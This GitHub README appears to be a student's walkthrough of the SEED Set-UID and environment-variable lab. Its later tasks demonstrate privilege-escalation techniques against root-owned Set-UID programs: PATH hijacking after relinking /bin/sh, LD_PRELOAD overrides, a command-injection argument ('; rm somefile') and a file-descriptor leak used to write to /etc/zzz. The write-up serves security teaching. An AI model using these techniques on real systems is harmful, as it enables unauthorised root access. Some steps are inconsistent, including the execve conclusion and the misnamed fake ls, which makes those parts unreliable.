Skip to content

adilng/Environment_Variable_and_Set-UID_ProgramLab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

SEED Labs – Environment Variable and Set-UID Program Lab 1

The Set-UID mechanism in Unix-based systems is indeed a powerful feature, but it can also be a significant security risk if not handled correctly. When a program with the Set-UID bit set is executed, it runs with the permissions of the file's owner, not the user who executed it. This can be useful for programs that need to perform specific tasks that require elevated privileges, but it can also be exploited if there are vulnerabilities in the program.

Environment_Variable_and_SetUID.pdf

2.1 Task 1: Manipulating Environment Variables

1. Printing Environment Variables:

Objective: Understand how to view environment variables. Using env:

  • To print all environment variables:
env
  • To print a specific environment variable, such as PWD, using grep:
env | grep PWD

image

2. Setting Environment Variables:

Objective: Learn how to set environment variables. Using export:

  • To set a new environment variable named MY_VAR with the value "Hello":
export MY_VAR="Hello"
  • To verify that the variable has been set, we can print it:
echo $MY_VAR

image

3. Unsetting Environment Variables:

Objective: Learn how to remove environment variables. Using unset:

  • To remove the environment variable named MY_VAR:
unset MY_VAR
  • To verify that the variable has been removed, we will try to print it. We shouldn't see any output:
echo $MY_VAR

image

2.2 Task 2: Passing Environment Variables from Parent Process to Child Process

Step 1: Observing Environment Variables in Child Process

Objective: Understand if the child process inherits environment variables from its parent.

Steps:

  1. Compile the given myprintenv.c program:
gcc myprintenv.c -o myprintenv
  1. Run the compiled program and save the output to a file:
./myprintenv > file1.txt
  1. Observe the contents of file1.txt. This file contains the environment variables of the child process.

Step 2: Observing Environment Variables in Parent Process

Objective: Understand the environment variables in the parent process.

Steps:

  1. Modify the myprintenv.c program:

    • Comment out the printenv(); statement in the child process case.
    • Uncomment the printenv(); statement in the parent process case.
  2. Compile the modified program:

gcc myprintenv.c -o myprintenv
  1. Run the compiled program again and save the output to another file:
./myprintenv > file2.txt
  1. Observe the contents of file2.txt. This file contains the environment variables of the parent process.

Step 3: Comparing the Outputs

Objective: Determine if there's any difference between the environment variables of the parent and child processes.

Steps:

  1. Use the diff command to compare the two files:
diff file1.txt file2.txt
  1. Observe the output. If there's no difference between the two files, it means the child process inherits all the environment variables from its parent. If there are differences, they will be displayed.

image

Conclusion: Based on the results of the diff command, it can be concluded whether the child process inherits its environment variables from the parent process or not. Given the nature of the fork() system call, it is expected that the child process will inherit the environment variables from its parent, so there should be no differences between the two files.

2.3 Task 3: Environment Variables and execve()

Step 1: Observing Environment Variables with execve()

Objective: Understand how environment variables are passed when executing a new program using execve().

Steps:

  1. Compile the given myenv.c program:
gcc myenv.c -o myenv
  1. Run the compiled program:
./myenv
  1. Observe the output. This will display the environment variables of the current process when the /usr/bin/env program is executed without explicitly passing any environment variables.

image

Step 2: Modifying the execve() Invocation

Objective: Understand how explicitly passing environment variables affects the executed program.

Steps:

  1. Modify the myenv.c program by changing the invocation of execve() to:
execve("/usr/bin/env", argv, environ);
  1. Compile the modified program:
gcc myenv.c -o myenv
  1. Run the compiled program again:
./myenv
  1. Observe the output. This will display the environment variables of the current process when the /usr/bin/env program is executed with explicitly passing the environment variables.

image

Step 3: Drawing Conclusions

Based on the observations from steps 1 and 2:

  1. If the environment variables in both runs are the same, this indicates that by default the execve() function passes the environment variables of the calling process to the new program, even if we do not pass them explicitly.
  2. If there's a difference between the two runs, it indicates that the environment variables are not passed to the new program unless explicitly provided.

Expected Conclusion: The execve() function, when executed without explicitly passing the environment variables, does not automatically pass them to the new program. However, when the environment variables are explicitly passed as the third argument, the new program inherits them.

2.4 Task 4: Environment Variables and system()

Objective: Understand how environment variables are passed when executing a new program using system().

Steps:

  1. Write the C Program:

    Create a file named mysystem.c and add the following code:

#include <stdio.h>
#include <stdlib.h>

int main() {
    system("/usr/bin/env");
    return 0;
}
  1. Compile the Program:
gcc mysystem.c -o mysystem
  1. Run the Compiled Binary:
./mysystem

This will execute the /usr/bin/env program using the system() function and print out the environment variables. Since system() internally uses /bin/sh to execute the given command, the environment variables of the calling process (in this case, our C program) are passed to /bin/sh, which in turn passes them to /usr/bin/env.

By observing the output, we can verify that the environment variables of the calling process are indeed passed to the new program executed via system().

image

2.5 Task 5: Environment Variable and Set-UID Programs

Step 1: Write the Program to Print Environment Variables

We've been provided with a program that prints out all the environment variables in the current process. The code is:

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

int main() {
    int i = 0;
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);
        i++;
    }
    return 0;
}

Save this code in a file named printenv.c.

Step 2: Compile, Change Ownership, and Set Set-UID

Steps:

  1. Compile the program:
gcc printenv.c -o foo
  1. Change the ownership of the compiled binary to root:
sudo chown root foo
  1. Make the binary a Set-UID program:
sudo chmod 4755 foo

Step 3: Set Environment Variables and Run the Set-UID Program

Steps:

  1. Set the PATH, LD_LIBRARY_PATH, and a custom environment variable (e.g., ANY_NAME):
export PATH=$PATH:/home/seed/Desktop
export LD_LIBRARY_PATH=/home/seed/Desktop/Environment%20Variable%20and%20Set-UID%20Lab%0A
export ANY_NAME="This is a custom environment variable"
  1. Run the Set-UID program:
./foo
  1. Observe the output. This will display the environment variables of the process running the Set-UID program.

image

Expected Observations:

  • The Set-UID program should inherit all the environment variables from the calling process (our shell). This means we should see PATH, LD_LIBRARY_PATH, and ANY_NAME in the output.
  • However, certain environment variables, especially ones that can influence the behavior of dynamically linked programs like LD_LIBRARY_PATH, can be a security risk for Set-UID programs. Some systems might clear or modify such variables for Set-UID programs to prevent potential security issues.

Conclusion: By observing the output, we'll understand how environment variables are inherited by Set-UID programs and whether any variables are cleared or modified for security reasons.

2.6 Task 6: The PATH Environment Variable and Set-UID Programs

Step 1: Write the Set-UID Program

Here's the provided program:

#include <stdlib.h>

int main() {
    system("ls");
    return 0;
}

Save this code in a file named setuid_ls.c.

Step 2: Compile, Change Ownership, and Set Set-UID

Steps:

  1. Compile the program:
gcc setuid_ls.c -o setuid_ls
  1. Change the ownership of the compiled binary to root:
sudo chown root setuid_ls
  1. Make the binary a Set-UID program:
sudo chmod 4755 setuid_ls

Step 3: Link /bin/sh to /bin/zsh

To bypass the countermeasure in /bin/dash, link /bin/sh to /bin/zsh:

sudo ln -sf /bin/zsh /bin/sh

Step 4: Exploit the Set-UID Program

Objective: Trick the Set-UID program into running a malicious program instead of /bin/ls.

Steps:

  1. Create a malicious program named ls:
echo 'echo "This is a malicious script!"' > ~/malicious_ls.sh
chmod +x ~/malicious_ls.sh
  1. Modify the PATH variable to prioritize the directory containing the malicious ls:
export PATH=~/:$PATH
  1. Run the Set-UID program:
./setuid_ls

Expected Observations:

  • Instead of running the actual /bin/ls command, the Set-UID program will run the malicious ls script.
  • If the malicious code runs with root privileges, it indicates that the Set-UID program is vulnerable to a PATH manipulation attack.

Conclusion: Using relative paths in Set-UID programs, especially in conjunction with the system() function, is dangerous. Malicious users can manipulate the PATH environment variable to trick the Set-UID program into running arbitrary code with elevated privileges.

image

2.7 Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

Step 1: Create a Dynamic Link Library

  1. Write the Library Code:

    Create a file named mylib.c with the following content:

#include <stdio.h>

void sleep(int s) {
    printf("I am not sleeping!\n");
}
  1. Compile the Library:
gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
  1. Set the LD_PRELOAD Environment Variable:
export LD_PRELOAD=./libmylib.so.1.0.1
  1. Write the Test Program:

    Create a file named myprog.c with the following content:

#include <unistd.h>

int main() {
    sleep(1);
    return 0;
}

Compile the program:

gcc myprog.c -o myprog

Step 2: Test the Program Under Different Conditions

  1. Run as a Regular Program:
./myprog

Observe the output. The overridden sleep() function should be called, printing "I am not sleeping!".

image

  1. Run as a Set-UID Root Program:
sudo chown root myprog
sudo chmod 4755 myprog
./myprog

Observe the output.

  1. Run as Set-UID Root with LD_PRELOAD in Root Account:

First, switch to the root account:

sudo su

Set the LD_PRELOAD variable:

export LD_PRELOAD=./libmylib.so.1.0.1

Run the program:

./myprog

Observe the output.

image

  1. Run as Set-UID for Another User:

Create another user:

sudo adduser user1

Change the ownership of the program to user1:

sudo chown user1 myprog

Switch to another user account (not root) and set the LD_PRELOAD:

su user1
export LD_PRELOAD=./libmylib.so.1.0.1

Run the program:

./myprog

Observe the output.

image

Step 3: Draw Conclusions

For the output of the Set-UID (./myprog) program, if it printed "I'm not sleeping!", it means that the LD_PRELOAD environment variable is still in effect, and the program is using the sleep(override) function from the custom library. If it didn't print anything, it indicates that the system ignores the LD_PRELOAD variable for Set-UID programs as a security measure.

2.8 Task 8: Invoking External Programs Using system() versus execve()

Step 1: Using system()

  1. Compile the Program:
gcc catall.c -o catall
  1. Make it a Root-Owned Set-UID Program:
sudo chown root catall
sudo chmod 4755 catall
  1. Attempt to Compromise System Integrity:

    The system() function invokes the shell to execute the command. This means that if we can inject shell characters or commands into the input, we may be able to execute arbitrary commands with root privileges.

    Try running the program with a malicious argument:

./catall "; rm somefile"

In this example, a semicolon (;) allows us to execute multiple commands. After the cat command runs, the rm command will try to remove somefile. If somefile is a file that we normally wouldn't have permission to delete, but it is deleted, then we have successfully compromised system integrity using the Set-UID program.

For example, let's say we have a file named testfile.txt in our current directory. We can use the catall program to display its software:

./catall testfile.txt

If testfile.txt contains the text "Hello, World!", the program should display:

Hello, World!

After creating the file, we can then run the catall program with testfile.txt as the argument.

Step 2: Using execve()

  1. Modify the Program:

    Comment out the system(command) line and uncomment the execve(v[0], v, NULL); line in catall.c.

  2. Compile and Set Permissions:

gcc catall.c -o catall
sudo chown root catall
sudo chmod 4755 catall
  1. Test the Program Again:

    Try the same attack as before:

./catall "; rm somefile"

With execve(), the program should not interpret the semicolon as a command separator, and thus the rm command should not execute. This demonstrates that execve() is safer than system() in this context.

Conclusion:

Using system() in Set-UID programs can be dangerous because it invokes the shell, which can interpret and execute additional commands. This can be exploited by attackers to run arbitrary commands with elevated privileges. On the other hand, execve() directly executes the specified program without invoking a shell, making it less susceptible to command injection attacks.

image

Task 9: Capability Leaking

Objective: Understand the vulnerability of capability leaking in Set-UID programs.

Observations:

The program that the assignment provided demonstrates a classic example of a capability leak. Below is a breakdown of the program:

  1. The program tries to open the file /etc/zzz with read and append permissions. If successful, it will have a file descriptor fd that points to this file.
  2. It then prints the file descriptor value.
  3. The program then drops its root privilege by setting its effective user ID to the real user ID.
  4. Finally, it executes /bin/sh to give us a shell.

The vulnerability here is that even though the program drops its privilege, the file descriptor fd that was opened with root privilege is still valid. This means that any process that inherits this file descriptor can write to the file /etc/zzz, even if it's running with normal user privileges.

To exploit this vulnerability:

  1. Run the Set-UID program. we'll get a shell.

  2. In the shell, use the file descriptor value (let's say it's x) that was printed out to write to the file /etc/zzz. we can do this with the following command:

    echo "malicious data" >&x

    Replace x with the actual file descriptor value that was printed.

  3. Exit the shell and check the contents of /etc/zzz. we should see "malicious data" appended to the file.

This demonstrates that even though the program dropped its root privilege, the capability (in this case, the file descriptor with write permission to a root-owned file) was leaked to the unprivileged shell, allowing a normal user to write to a file they shouldn't have access to.

Code Snippet:

void main()
{
int fd;
...
fd = open("/etc/zzz", O_RDWR | O_APPEND);
...
setuid(getuid());
v[0] = "/bin/sh"; v[1] = 0;
execve(v[0], v, 0);
}

Explanation: This code demonstrates the vulnerability of capability leaking. The program opens a file with root privileges but drops its privileges without closing the file descriptor. This allows a normal user to write to a file they shouldn't have access to.

image

image

About

seed labs 2.0 -Environment Variable and Set-UID Program Lab

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages